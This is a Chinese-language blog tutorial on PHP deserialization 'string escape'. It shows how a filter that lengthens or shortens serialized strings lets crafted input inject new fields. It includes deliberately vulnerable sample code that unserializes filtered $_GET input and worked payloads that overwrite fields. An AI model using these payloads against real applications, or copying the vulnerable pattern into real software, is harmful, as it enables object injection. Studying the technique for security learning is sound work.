php反序列化逃逸

之前就对字符串逃逸这一块理解的不是很深刻,下面通过一位师傅的博客来进一步深入理解一下有关php字符串逃逸的相关内容。

贴上师傅的博客地址:https://blog.csdn.net/qq_45521281/article/details/107135706

先来说一下什么是字符串逃逸,就是我们可以构造一些恶意代码,让其在反序列化的时候执行我们想让它执行的。在这过程中造成的字符串的增加或者减少称为字符串逃逸。

替换修改后导致字符串长度增加 (逃逸增加)

先来一个代码简单的分析一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function filter($str){
return str_replace('bb','ccc',$str);
}
class A{
public $name='aaaa';
public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$res=filter(serialize($AA));
$c=unserialize($res);
echo $c->pass;
?>
看它的返回结果:
O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}
123456

若我们在不直接修改pass的前提下,让pass的值变成hacker,我们该如何实现呢?
这里我们就用到了字符串逃逸增加来实现。

我们可以看到str_replace(‘bb’,’ccc’,$str); 意思就是在变量str中,将每两个b替换成三个c,但序列化之后的字符长度仍然按照没有被替换的。

举个例子说明一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
function filter($str){
return str_replace('bb','ccc',$str);
}
class A{
public $name='aaaabb';
public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$res=filter(serialize($AA));
echo $res;
?>
运行的结果如下:
O:1:"A":2:{s:4:"name";s:6:"aaaabb";s:4:"pass";s:6:"123456";}
O:1:"A":2:{s:4:"name";s:6:"aaaaccc";s:4:"pass";s:6:"123456";} //这里我们可以看到aaaaccc明明是7个字符,但前面标的仍然是6个,这里就逃逸出来一个字符。

根据上面的演示,我们可以进行构造代码,通过bb替换成ccc,来进行字符串的逃逸,从而让pass的值为hacker

下面是代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
function filter($str){
return str_replace('bb','ccc',$str);
}
class A{
public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}';
public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$res=filter(serialize($AA));
$c=unserialize($res);
echo $c->pass;
//echo $res;
?>
运行的结果:
O:1:"A":2:{s:4:"name";s:81:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
hacker
成功的实现目标。

思想就是我们要逃逸出来的字符串是”;s:4:”pass”;s:6:”hacker”;} 总共27个字符串,也就是说需要逃逸27个字符串出来,之前是2b逃逸出来一个,那么这需要逃逸27个,也就需要54b。

替换修改后导致字符串长度减少 (逃逸减少)

字符串逃逸减少就是字符串经过一些变化后,字符长度减少,原来的功能性代码变成普通的字符串,然后我们可以利用逃逸进行构造一些恶意的代码。

下面来一个例子看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function str_rep($string){
return preg_replace('/php|test/','',$string);
}
$test['name']=$_GET['name'];
$test['sign']=$_GET['sign'];
$test['number']='2020';
$temp=str_rep(serialize($test));
printf($temp);
$fake=unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>

代码都是上面师傅里面演示的,这里我是根据自己的理解来讲一下。

把这段代码放在本地,可以看到结果为:

image-20230523212438734.png

这里可以看到name和sign里面都是没有内容的,所以这里是N。

然后我们看到代码中的str_rep()函数,是将变量string中的php和test替换成空。

然后下面有一个经过这段函数的反序列化,这里就构成了反序列化逃逸减少的漏洞。

反序列化逃逸减少不同于增加。

增加是看要构造的恶意代码字符串长度是多少,就举一个例子,如果匹配到了bb,函数是把它替换成ccc,那么就相当于每一个bb可以逃逸出1个字符,如果我们要构造的恶意代码长度是27位,那么我们就需要54个bb。

而减少我个人感觉是比增加复杂一点,但也不多。拿上面的代码进行演示,如果我想让sign的值是eval,并且数字改成2023,那么这就利用到了字符串逃逸减少。

首先构造我们要实现的目标。”;s:4:”sign”;s:4:”eval”;s:6:”number”;s:4:”2023”;}

减少逃逸是让一些功能性代码变成字符串,这里是让sign变成字符串,而后面构造的sign和number则成为新的功能性代码。

“;s:4:”sign”;s:xx:”前面的字符一共有19个,我们有两种方法,一种是利用php,另外一种是利用test只不过都需要填充字符罢了 “;s:4:”sign”;s:4:”eval”;s:6:”number”;s:4:”2023”;}

“;s:4:”sign”;s:xx:”这里是需要填充的字符”;s:4:”sign”;s:4:”eval”;s:6:”number”;s:4:”2023”;}

如果用7个php,也就是可以逃逸21个,上面是19个,那么我们可以填充2个字符。

如果用5个test,逃逸20个,需要填充一个字符。

image-20230523212438734.png

image-20230523220226399.png结果如上。


php反序列化逃逸
http://example.com/2023/08/03/php反序列化逃逸/
作者
FSRM
发布于
2023年8月3日
更新于
2023年8月25日
许可协议